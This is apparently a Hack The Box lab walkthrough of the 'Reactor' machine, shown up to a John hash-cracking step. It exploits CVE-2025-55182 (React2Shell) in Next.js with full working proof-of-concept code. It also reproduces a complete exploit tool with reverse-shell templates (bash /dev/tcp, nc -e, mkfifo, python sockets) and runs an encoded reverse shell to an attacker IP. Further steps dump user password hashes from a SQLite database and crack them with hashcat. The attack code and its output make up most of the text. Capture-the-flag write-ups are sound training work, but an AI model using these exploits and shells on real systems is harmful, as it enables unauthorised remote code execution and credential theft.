Overview
- Type Machines
- Direct https://app.hackthebox.com/machines/Reactor
- OS Linux
- Severity Easy
- Creator tejas3008
- Release date 2026 May 24 (JST)
Attack Paths
Initial Access - React2Shell exploit via Next-Action header injection
|
[Shell as node]
|
v
Credential Extraction - SQLite database dump → MD5 hashes
|
[39d97110eafe2a9a68639812cd271e8e]
|
v
Hash Cracking - John|Hashcat + rockyou.txt
|
[engineer:reactor1]
|
v
Lateral Movement - SSH with cracked credentials
|
[User flag]
|
v
Privilege Escalation - Node.js debug port (9229) via SSH tunnel → process.mainModule.require
|
|
v
[Root shell + flag]
Enumeration
Nmap
$ nmap -sCV -Pn -p- --min-rate=1000 -T4 10.129.xx.xx
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-24 09:11 +0900
Nmap scan report for 10.129.xx.xx
Host is up (0.38s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
|_ 256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
| x-nextjs-cache: HIT
| x-nextjs-prerender: 1
| x-nextjs-stale-time: 4294967294
| X-Powered-By: Next.js
| Cache-Control: s-maxage=31536000,
| ETag: "p02u6gnhufd8t"
| Content-Type: text/html; charset=utf-8
| Content-Length: 17175
| Date: Sun, 24 May 2026 00:17:31 GMT
| Connection: close
| <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/414e1be982bc8557.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-db0a529a99835594.js"/><script src="/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js" async=""></script><script src="/_next/static/chunks/517-d083b552e04dead1.js" async=""></script><script s
| HTTPOptions:
| HTTP/1.1 400 Bad Request
| vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
| Allow: GET
| Allow: HEAD
| Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
| Date: Sun, 24 May 2026 00:17:35 GMT
| Connection: close
| Help, NCP, RPCCheck:
| HTTP/1.1 400 Bad Request
| Connection: close
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
| Allow: GET
| Allow: HEAD
| Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
| Date: Sun, 24 May 2026 00:17:37 GMT
|_ Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.99%I=7%D=5/24%Time=6A124299%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,29B0,"HTTP/1\.1\x20200\x20OK\r\nVary:\x20RSC,\x20Next-Router-S
SF:tate-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetch,\x2
SF:0Accept-Encoding\r\nx-nextjs-cache:\x20HIT\r\nx-nextjs-prerender:\x201\
SF:r\nx-nextjs-stale-time:\x204294967294\r\nX-Powered-By:\x20Next\.js\r\nC
SF:ache-Control:\x20s-maxage=31536000,\x20\r\nETag:\x20\"p02u6gnhufd8t\"\r
SF:\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2017
SF:175\r\nDate:\x20Sun,\x2024\x20May\x202026\x2000:17:31\x20GMT\r\nConnect
SF:ion:\x20close\r\n\r\n<!DOCTYPE\x20html><html\x20lang=\"en\"><head><meta
SF:\x20charSet=\"utf-8\"/><meta\x20name=\"viewport\"\x20content=\"width=de
SF:vice-width,\x20initial-scale=1\"/><link\x20rel=\"stylesheet\"\x20href=\
SF:"/_next/static/css/414e1be982bc8557\.css\"\x20data-precedence=\"next\"/
SF:><link\x20rel=\"preload\"\x20as=\"script\"\x20fetchPriority=\"low\"\x20
SF:href=\"/_next/static/chunks/webpack-db0a529a99835594\.js\"/><script\x20
SF:src=\"/_next/static/chunks/4bd1b696-80bcaf75e1b4285e\.js\"\x20async=\"\
SF:"></script><script\x20src=\"/_next/static/chunks/517-d083b552e04dead1\.
SF:js\"\x20async=\"\"></script><script\x20s")%r(Help,2F,"HTTP/1\.1\x20400\
SF:x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(NCP,2F,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(HTTPOptio
SF:ns,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20RSC,\x20Next-Rou
SF:ter-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetc
SF:h\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x20private,\x20n
SF:o-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nDate:\x20Sun,
SF:\x2024\x20May\x202026\x2000:17:35\x20GMT\r\nConnection:\x20close\r\n\r\
SF:n")%r(RTSPRequest,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20R
SF:SC,\x20Next-Router-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-
SF:Segment-Prefetch\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x
SF:20private,\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r
SF:\nDate:\x20Sun,\x2024\x20May\x202026\x2000:17:37\x20GMT\r\nConnection:\
SF:x20close\r\n\r\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add to /etc/hosts: echo ‘10.129.xx.xx reactor.htb’ | sudo tee -a /etc/hosts
- X-Powered-By: Next.js
Initial Access - CVE-2025-55182 aka React2Shell - Meta React Server Components RCE (node)

We know that web server uses Next.js then now we will check the version typing window.next.version in web developer tools > console:

Next.JS version 15.0.3
A pre-authentication remote code execution vulnerability exists in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 of:
- react-server-dom-webpack
- react-server-dom-parcel
- react-server-dom-turbopack
The vulnerable code unsafely deserializes payloads from HTTP requests to Server Function endpoints.
$ git clone https://github.com/msanft/CVE-2025-55182
$ cat CVE-2025-55182/poc.py
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)
$ python3 CVE-2025-55182/poc.py http://reactor.htb:3000
500
0:{"a":"$@1","f":"","b":"L3bimJe_3LvBcFWAnK5L4"}
1:E{"digest":"uid=999(node) gid=988(node) groups=988(node)"}
confirmed vulnerable and the current web app is running with
node.
Base64 encoded reverse shell ():
$ echo -n 'bash -i >& /dev/tcp/10.10.16.10/443 0>&1' | base64 -w 0
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMC80NDMgMD4mMQ==
Set a Penelope listener:
$ penelope -i tun0 -p 443
[+] Listening for reverse shells on 10.10.16.10:443
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
Execute our payload:
$ python3 CVE-2025-55182/poc.py http://reactor.htb:3000 "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMC80NDMgMD4mMQ== | base64 -d | bash"
500
0:{"a":"$@1","f":"","b":"L3bimJe_3LvBcFWAnK5L4"}
1:E{"digest":"246274145"}
Got our shell as node:
[+] [New Reverse Shell] => reactor 10.129.xx.xx Linux-x86_64 👤 node(999) 😍 Session ID <1>
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3
[+] Interacting with session [1] • PTY • Menu key F12 ⇐
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
node@reactor:/opt/reactor-app$
Another good POC:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
import sys
import hashlib
import time
import re
import base64
import random
from urllib.parse import unquote
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# ── Colors ────────────────────────────────────────────────────────────────────
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
C = "\033[96m"
W = "\033[97m"
DIM = "\033[2m"
B = "\033[1m"
RST = "\033[0m"
# ── Banner ────────────────────────────────────────────────────────────────────
BANNER = f"""{C}
_____ __ _ __
/ ___/____ ___ ____ _/ /_| |/ /
\\__ \\/ __ \\/ _ \\/ __ `/ __/ /
___/ / /_/ / __/ /_/ / /_/ |
/____/ .___/\\___/\\__,_/\\__/_/|_|
/_/{RST}
{W} React Server Components — Flight Protocol RCE{RST}
{R} CVE-2025-55182 · CVSS 10.0{RST}
{DIM} Author: SpeatX · OSCP Style · v1.0{RST}
"""
# ── User-Agent pool ───────────────────────────────────────────────────────────
USER_AGENTS = [
"Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0",
]
# ── Reverse shell templates ───────────────────────────────────────────────────
SHELLS = {
"bash": "bash -i >& /dev/tcp/{h}/{p} 0>&1",
"python3": "python3 -c \"import socket,subprocess,os;s=socket.socket();s.connect(('{h}',{p}));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(['/bin/sh','-i'])\"",
"nc": "nc -e /bin/sh {h} {p}",
"mkfifo": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {h} {p} >/tmp/f",
"node": "node -e \"require('child_process').exec('bash -i >& /dev/tcp/{h}/{p} 0>&1')\"",
}
# ── Logging ───────────────────────────────────────────────────────────────────
def info(m): print(f" {C}[*]{RST} {m}")
def ok(m): print(f" {G}[+]{RST} {m}")
def warn(m): print(f" {Y}[!]{RST} {m}")
def err(m): print(f" {R}[-]{RST} {m}")
def sep(): print(f"\n {DIM}{'─' * 58}{RST}\n")
# ── Helpers ───────────────────────────────────────────────────────────────────
def fix_url(url):
if not re.match(r"^https?://", url):
url = "http://" + url
return url.rstrip("/")
def rand_id(n=8):
return hashlib.sha256(str(time.time() + random.random()).encode()).hexdigest()[:n]
def get_local_ip():
try:
import subprocess
ip = subprocess.check_output(
"ip addr show tun0 2>/dev/null | grep 'inet ' | awk '{print $2}' | cut -d/ -f1",
shell=True
).decode().strip()
if ip:
return ip
except Exception:
pass
try:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
s.close()
return ip
except Exception:
return "127.0.0.1"
def make_session(proxy=None, random_agent=False):
s = requests.Session()
s.headers["User-Agent"] = random.choice(USER_AGENTS) if random_agent else USER_AGENTS[0]
if proxy:
s.proxies = {"http": proxy, "https": proxy}
return s
def sanitize(cmd):
return cmd.replace("\\", "\\\\").replace("'", "\\'").replace("\n", "")
def rand_id(n=8):
return hashlib.sha256(str(time.time() + random.random()).encode()).hexdigest()[:n]
def build_payload(command):
safe = sanitize(command)
injection = (
'{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
f'"var res=process.mainModule.require(\'child_process\').execSync(\'{safe}\')'
'.toString().trim().replace(/\\\\n/g, \' | \');;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
'{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
'"_formData":{"get":"$1:constructor:constructor"}}}'
)
return (
"------HacxMeBoundaryX9K2pLvN4MqR8TdF\r\n"
"Content-Disposition: form-data; name=\"0\"\r\n\r\n"
f"{injection}\r\n"
"------HacxMeBoundaryX9K2pLvN4MqR8TdF\r\n"
"Content-Disposition: form-data; name=\"1\"\r\n\r\n"
"\"$@0\"\r\n"
"------HacxMeBoundaryX9K2pLvN4MqR8TdF\r\n"
"Content-Disposition: form-data; name=\"2\"\r\n\r\n"
"[]\r\n"
"------HacxMeBoundaryX9K2pLvN4MqR8TdF--\r\n"
)
def build_headers(random_agent=False):
return {
"Next-Action": "x",
"X-Nextjs-Request-Id": rand_id(8),
"X-Nextjs-Html-Request-Id": rand_id(20),
"Content-Type": "multipart/form-data; boundary=----HacxMeBoundaryX9K2pLvN4MqR8TdF",
"User-Agent": random.choice(USER_AGENTS) if random_agent else USER_AGENTS[0],
}
def fire(sess, url, command, timeout, random_agent=False):
try:
r = sess.post(
url,
data=build_payload(command),
headers=build_headers(random_agent),
timeout=timeout,
allow_redirects=False,
verify=False,
)
return r, None
except requests.exceptions.Timeout:
return None, "timeout"
except requests.exceptions.SSLError:
return None, "ssl"
except requests.exceptions.ConnectionError:
return None, "connection"
except Exception as e:
return None, str(e)
def parse_output(r):
redirect = r.headers.get("X-Action-Redirect", "")
m = re.search(r"/login\?a=([^;]*)", redirect)
return unquote(m.group(1)) if m else None
def handle_net_error(error):
msgs = {
"timeout": "Request timed out. Try increasing --timeout.",
"ssl": "SSL error — use http:// instead of https://.",
"connection": "Could not reach the target. Is it up?",
}
err(msgs.get(error, f"Unexpected error: {error}"))
# ── Subcommands ───────────────────────────────────────────────────────────────
def cmd_check(args):
url = fix_url(args.target)
sess = make_session(args.proxy, args.random_agent)
print(f"\n {B}Target{RST} {url}")
print(f" {B}Module{RST} check\n")
info("Testing connectivity...")
try:
r = sess.get(url, timeout=args.timeout, verify=False)
ok(f"Host is up (HTTP {r.status_code})")
except requests.exceptions.ConnectionError:
err("Host unreachable.")
sys.exit(1)
except requests.exceptions.Timeout:
err(f"No response within {args.timeout}s.")
sys.exit(1)
for h in ("Server", "X-Powered-By"):
v = r.headers.get(h)
if v:
info(f"{h}: {DIM}{v}{RST}")
info("Scanning for React / Next.js indicators...")
hits = 0
checks = [
("__NEXT_DATA__", "Next.js data blob detected"),
("_next/static", "Next.js static assets detected"),
("server-action", "Server Actions endpoint referenced"),
("react", "React references found in source"),
]
for pattern, label in checks:
if pattern in r.text.lower():
ok(label)
hits += 1
if not hits:
warn("No React/Next.js indicators — may still be vulnerable")
info("Probing for CVE-2025-55182...")
response, error = fire(sess, url, "echo probe_ok", args.timeout, args.random_agent)
sep()
if error:
handle_net_error(error)
sys.exit(1)
if response.status_code in (307, 302, 301) or "X-Action-Redirect" in response.headers:
ok(f"{B}{G}VULNERABLE{RST} — redirect-based code execution confirmed (HTTP {response.status_code})")
redir = response.headers.get("X-Action-Redirect", "")
if redir:
info(f"Redirect: {DIM}{redir[:80]}{RST}")
print()
info(f"Next step → {W}python {sys.argv[0]} exec -t {url} -c \"id\"{RST}")
else:
warn(f"No exploit response (HTTP {response.status_code})")
warn("Target may be patched, rate-limited, or behind a WAF.")
sep()
def cmd_exec(args):
url = fix_url(args.target)
sess = make_session(args.proxy, args.random_agent)
print(f"\n {B}Target{RST} {url}")
print(f" {B}Module{RST} exec")
print(f" {B}Command{RST} {Y}{args.command}{RST}\n")
info("Sending payload...")
response, error = fire(sess, url, args.command, args.timeout, args.random_agent)
if error:
handle_net_error(error)
sys.exit(1)
output = parse_output(response)
sep()
if output:
ok(f"Command executed (HTTP {response.status_code})\n")
for line in output.replace(" | ", "\n").splitlines():
if line.strip():
print(f" {W}{line}{RST}")
elif response.status_code == 403:
err("403 Forbidden — WAF or firewall blocking the request.")
info("Try --proxy to inspect the response in Burp Suite.")
elif response.status_code == 500:
err("500 Server Error — payload rejected or target is patched.")
else:
warn(f"No output in response (HTTP {response.status_code})")
info("Run the 'check' module to confirm the target is still vulnerable.")
sep()
def cmd_revshell(args):
if args.shell_type not in SHELLS:
err(f"Unknown shell type '{args.shell_type}'. Available: {', '.join(SHELLS)}")
sys.exit(1)
lhost = args.lhost or get_local_ip()
lport = args.lport
url = fix_url(args.target)
sess = make_session(args.proxy, args.random_agent)
raw = SHELLS[args.shell_type].format(h=lhost, p=lport)
b64 = base64.b64encode(raw.encode()).decode()
command = f"echo {b64}|base64 -d|bash"
print(f"\n {B}Target{RST} {url}")
print(f" {B}Module{RST} revshell")
print(f" {B}Shell type{RST} {Y}{args.shell_type}{RST}")
print(f" {B}Listener{RST} {Y}{lhost}:{lport}{RST}")
if not args.lhost:
print(f" {DIM} (LHOST auto-detected — use --lhost to override){RST}")
sep()
warn(f"Set up your listener before continuing:")
print(f"\n {B}nc -lvnp {lport}{RST}\n")
input(f" {DIM}Press Enter when ready...{RST}\n")
info("Sending payload...")
response, error = fire(sess, url, command, args.timeout, args.random_agent)
sep()
if error == "timeout":
warn("Request timed out — the shell may still connect, check your listener.")
elif error:
handle_net_error(error)
elif response and response.status_code in (200, 202, 307, 500):
ok(f"Payload delivered (HTTP {response.status_code})")
ok("Shell should connect to your listener now.")
else:
code = response.status_code if response else "N/A"
warn(f"Unexpected response (HTTP {code})")
warn("Run 'check' to verify the target is still exploitable.")
sep()
# ── Argument parser ───────────────────────────────────────────────────────────
def build_parser():
desc = (
f" CVE-2025-55182 — React Server Components RCE\n"
f" Unauthenticated RCE via Flight protocol deserialization\n"
)
parser = argparse.ArgumentParser(
prog="exploit.py",
description=desc,
formatter_class=argparse.RawDescriptionHelpFormatter,
add_help=False,
)
parser.add_argument("-h", "--help", action="store_true")
sub = parser.add_subparsers(dest="module", metavar="<module>")
# ── shared parent parser ──────────────────────────────────────────────────
shared = argparse.ArgumentParser(add_help=False)
shared.add_argument("-t", "--target", required=True, metavar="URL",
help="Target URL (e.g. http://192.168.1.10)")
shared.add_argument("--proxy", metavar="URL",
help="Proxy URL (e.g. http://127.0.0.1:8080)")
shared.add_argument("--random-agent", dest="random_agent", action="store_true",
help="Randomize User-Agent on each request")
shared.add_argument("--timeout", metavar="N", type=int, default=15,
help="Request timeout in seconds (default: 15)")
# ── check ─────────────────────────────────────────────────────────────────
p_check = sub.add_parser(
"check",
parents=[shared],
help="Fingerprint target and confirm vulnerability",
description="Fingerprint the target and confirm CVE-2025-55182 is exploitable.",
add_help=True,
)
p_check.set_defaults(func=cmd_check)
# ── exec ──────────────────────────────────────────────────────────────────
p_exec = sub.add_parser(
"exec",
parents=[shared],
help="Execute a single OS command and read output",
description="Execute an OS command on the remote server and print the output.",
add_help=True,
)
p_exec.add_argument("-c", "--command", required=True, metavar="CMD",
help="OS command to execute (e.g. \"id\")")
p_exec.set_defaults(func=cmd_exec)
# ── revshell ──────────────────────────────────────────────────────────────
p_rev = sub.add_parser(
"revshell",
parents=[shared],
help="Trigger a reverse shell back to your listener",
description="Send a reverse shell payload to the target.",
add_help=True,
)
p_rev.add_argument("--lhost", metavar="IP",
help="Your IP (auto-detected from tun0/eth0 if not set)")
p_rev.add_argument("--lport", metavar="PORT", type=int, default=4444,
help="Your listening port (default: 4444)")
p_rev.add_argument("--shell-type", metavar="TYPE", dest="shell_type", default="bash",
choices=SHELLS.keys(),
help=f"Shell flavor: {' · '.join(SHELLS)} (default: bash)")
p_rev.set_defaults(func=cmd_revshell)
return parser
# ── Help ──────────────────────────────────────────────────────────────────────
def print_help():
print(f"""
{B}{W}Modules:{RST}
{G}check{RST} Fingerprint target and confirm the vulnerability
{G}exec{RST} Execute a single OS command and print the output
{G}revshell{RST} Send a reverse shell back to your listener
{B}{W}Global options:{RST}
{Y}-t{RST}, {Y}--target{RST} URL Target URL
{Y}--proxy{RST} URL Route traffic through a proxy
{Y}--random-agent{RST} Rotate User-Agent on each request
{Y}--timeout{RST} N Request timeout in seconds {DIM}(default: 15){RST}
{B}{W}Module options:{RST}
{G}exec{RST} {Y}-c{RST} CMD Command to execute
{G}revshell{RST} {Y}--lhost{RST} IP Listener IP {DIM}(auto-detected if omitted){RST}
{Y}--lport{RST} PORT Listener port {DIM}(default: 4444){RST}
{Y}--shell-type{RST} TYPE Shell flavor {DIM}bash · python3 · nc · mkfifo · node{RST}
{B}{W}Usage:{RST}
python exploit.py {G}<module>{RST} {Y}-t{RST} <target> [options]
{B}{W}Examples:{RST}
python exploit.py {G}check{RST} {Y}-t{RST} http://10.10.11.50
python exploit.py {G}check{RST} {Y}-t{RST} http://10.10.11.50 {Y}--proxy{RST} http://127.0.0.1:8080
python exploit.py {G}exec{RST} {Y}-t{RST} http://10.10.11.50 {Y}-c{RST} "id"
python exploit.py {G}exec{RST} {Y}-t{RST} http://10.10.11.50 {Y}-c{RST} "cat /etc/passwd" {Y}--random-agent{RST}
python exploit.py {G}revshell{RST} {Y}-t{RST} http://10.10.11.50 {Y}--lport{RST} 9001
python exploit.py {G}revshell{RST} {Y}-t{RST} http://10.10.11.50 {Y}--lhost{RST} 10.10.14.5 {Y}--lport{RST} 4444
python exploit.py {G}revshell{RST} {Y}-t{RST} http://10.10.11.50 {Y}--shell-type{RST} python3
{B}{W}Workflow:{RST}
{DIM}1. check — confirm target is vulnerable{RST}
{DIM}2. exec — enumerate, read flags, grab credentials{RST}
{DIM}3. revshell — escalate to an interactive session{RST}
Run {W}python exploit.py <module> --help{RST} for per-module options.
""")
# ── Main ──────────────────────────────────────────────────────────────────────
def main():
parser = build_parser()
args = parser.parse_args()
print(BANNER)
if args.help or not args.module:
print_help()
sys.exit(0)
if args.proxy:
info(f"Proxy: {args.proxy}")
if args.random_agent:
info("Random User-Agent: enabled")
args.func(args)
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print(f"\n {Y}[!]{RST} Interrupted.\n")
sys.exit(0)
$ git clone https://github.com/SpeatX/React2Shell-CVE-2025-55182.git
$ python3 React2Shell-CVE-2025-55182/exploit.py check -t http://reactor.htb:3000
_____ __ _ __
/ ___/____ ___ ____ _/ /_| |/ /
\__ \/ __ \/ _ \/ __ `/ __/ /
___/ / /_/ / __/ /_/ / /_/ |
/____/ .___/\___/\__,_/\__/_/|_|
/_/
React Server Components — Flight Protocol RCE
CVE-2025-55182 · CVSS 10.0
Author: SpeatX · OSCP Style · v1.0
Target http://reactor.htb:3000
Module check
[*] Testing connectivity...
[+] Host is up (HTTP 200)
[*] X-Powered-By: Next.js
[*] Scanning for React / Next.js indicators...
[+] Next.js static assets detected
[+] React references found in source
[*] Probing for CVE-2025-55182...
──────────────────────────────────────────────────────────
[+] VULNERABLE — redirect-based code execution confirmed (HTTP 303)
[*] Redirect: /login?a=probe_ok;push
[*] Next step → python React2Shell-CVE-2025-55182/exploit.py exec -t http://reactor.htb:3000 -c "id"
──────────────────────────────────────────────────────────
$ python3 React2Shell-CVE-2025-55182/exploit.py revshell -t http://reactor.htb:3000
_____ __ _ __
/ ___/____ ___ ____ _/ /_| |/ /
\__ \/ __ \/ _ \/ __ `/ __/ /
___/ / /_/ / __/ /_/ / /_/ |
/____/ .___/\___/\__,_/\__/_/|_|
/_/
React Server Components — Flight Protocol RCE
CVE-2025-55182 · CVSS 10.0
Author: SpeatX · OSCP Style · v1.0
Target http://reactor.htb:3000
Module revshell
Shell type bash
Listener 10.10.16.10:4444
(LHOST auto-detected — use --lhost to override)
──────────────────────────────────────────────────────────
[!] Set up your listener before continuing:
nc -lvnp 4444
Press Enter when ready...
$ rlwrap nc -lnvp 4444
listening on [any] 4444 ...
Press Enter when ready...
<ENTER>
[*] Sending payload...
──────────────────────────────────────────────────────────
[!] Request timed out — the shell may still connect, check your listener.
──────────────────────────────────────────────────────────
connect to [10.10.16.10] from (UNKNOWN) [10.129.xx.xx] 49326
bash: cannot set terminal process group (1407): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.2$
Lateral Movement - SQLite Credential Extraction & Hash Cracking (engineer) (user)
Quick enumeration:
node@reactor:/opt/reactor-app$ ls
app next.config.js node_modules package.json package-lock.json reactor.db
Found a database
reactor.db.
2 ways to proceed:
- with
strings:
node@reactor:/opt/reactor-app$ strings reactor.db
SQLite format 3
Mtablesensor_logssensor_logs
CREATE TABLE sensor_logs (
id INTEGER PRIMARY KEY,
timestamp DATETIME DEFAULT CURRENT_TIMESTAMP,
sensor_id TEXT,
reading REAL,
status TEXT
9tableusersusers
CREATE TABLE users (
id INTEGER PRIMARY KEY,
username TEXT NOT NULL,
password_hash TEXT NOT NULL,
role TEXT NOT NULL,
email TEXT
5engineer39d97110eafe2a9a68639812cd271e8eoperatorengineer@reactor.htbI
M'/admina203b22191d744a4e70ada5c101b17b8administratoradmin@reactor.htb
2025-12-28 14:32:01COOLANT_FLOW@2ffffffCAUTION3
2025-12-28 14:32:01PRESSURE_01@cffffffNOMINAL4
2025-12-28 14:32:01CORE_TEMP_01@tH
NOMINAL
Found 2 hashes:
engineer:39d97110eafe2a9a68639812cd271e8eadmin:a203b22191d744a4e70ada5c101b17b8
- with
sqlite:
node@reactor:/opt/reactor-app$ sqlite3 reactor.db
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
sensor_logs users
sqlite> select * from users;
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb
sqlite> .quit
Then try to crack them (switch to Windows host to be able to fully use the GPU):
PS C:\Users\01214830\Downloads\hashcat-7.1.2\hashcat-7.1.2> .\hashcat.exe -D 2 -a 0 -m 0 '39d97110eafe2a9a68639812cd271e8e' .\rockyou.txt
hashcat (v7.1.2) starting
Failed to initialize the AMD main driver HIP runtime library. Please install the AMD HIP SDK.
Failed to initialize AMD HIP RTC library. Please install the AMD HIP SDK.
ADL2_Overdrive_Caps(): -8
ADL2_Overdrive_Caps(): -8
ADL2_Overdrive_Caps(): -8
ADL2_Overdrive_Caps(): -8
ADL2_Overdrive_Caps(): -8
OpenCL API (OpenCL 2.1 AMD-APP (3608.0)) - Platform #1 [Advanced Micro Devices, Inc.]
=====================================================================================
* Device #01: AMD Radeon 780M Graphics, 12792/25585 MB (10003 MB allocatable), 6MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 617 MB (32310 MB free)
Dictionary cache built:
* Filename..: .\rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 1 sec
39d97110eafe2a9a68639812cd271e8e:reactor1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 39d97110eafe2a9a68639812cd271e8e
Time.Started.....: Sun May 24 11:53:14 2026 (0 secs)
Time.Estimated...: Sun May 24 11:53:14 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (.\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 29598.7 kH/s (2.73ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 393216/14344384 (2.74%)
Rejected.........: 0/393216 (0.00%)
Restore.Point....: 0/14344384 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: 123456 -> remmer
Hardware.Mon.#01.: Temp: 0c Fan: 0% Util: 6% Core: 800MHz Mem:2800MHz Bus:16
Started: Sun May 24 11:53:13 2026
Stopped: Sun May 24 11:53:15 2026
Found
engineer:reactor1
OR John using CPU:
$ echo '39d97110eafe2a9a68639812cd271e8e' > engineer.hash
$ john --format=raw-md5 --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt engineer.hash
Using default input encoding: UTF-8
